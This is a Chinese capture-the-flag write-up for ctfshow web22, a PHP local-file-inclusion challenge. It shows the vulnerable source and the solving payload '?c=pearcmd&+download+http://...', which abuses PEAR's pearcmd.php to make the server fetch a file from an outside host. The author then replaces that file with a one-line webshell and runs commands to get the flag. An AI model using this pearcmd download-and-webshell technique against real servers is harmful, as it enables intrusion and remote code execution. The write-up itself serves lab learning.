ctfshow萌新计划web22

ctfshow萌新计划web22

前言

上次做题,直接瞄准ctfshow萌新计划开炮,结果没打完,这次来补充一下。

正文

web22

打开题目,发现了源码

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }


}else{
        highlight_file(__FILE__);
}
?>

发现相比较前面几个,过滤的少了,但是变为了include文件包含,并且把传参c.php拼接在了一起。刚拿到,就想着还是用日志包含进行后门文件上传,然后访问日志目录进入网站目录。但是可能因为是过滤了,没成功,就想着绕过过滤,然后把后面的.php文件后缀给注释掉,但是一直不成功。后来在群里问了大师傅之后,才知道这个题目的身份是www用户,无法远程访问默认日志文件。那么到这里就断了,该怎么办呢?问了大师傅之后得到了新的思路,详情还是看这篇文章
刚看了这篇文章之后,我直呼涨见识,这,,根本没听说过,好吧,是我菜了。
关于命令pearcmd&+download+http://xxx.php这个,文章里有说明,不进行过多的讲解,这里给一下自己的见解。

pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。下载文件从指定服务器

然后根据大师傅的博客,进行尝试。首先构造payload为:?c=pearcmd&+download+http://xxxxx/1emon/index.php
而对于,index.php内容是
测试
然后用构造的payload尝试,发现
结果
然后访问文件得到当前的用户信息
用户信息
那么既然成功了,接下来就用一句话进行了,直接修改文件内容为一句话木马,然后同样的方法,访问之后,在post传参,结果如下:
ls结果
grep结果
得到flag。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值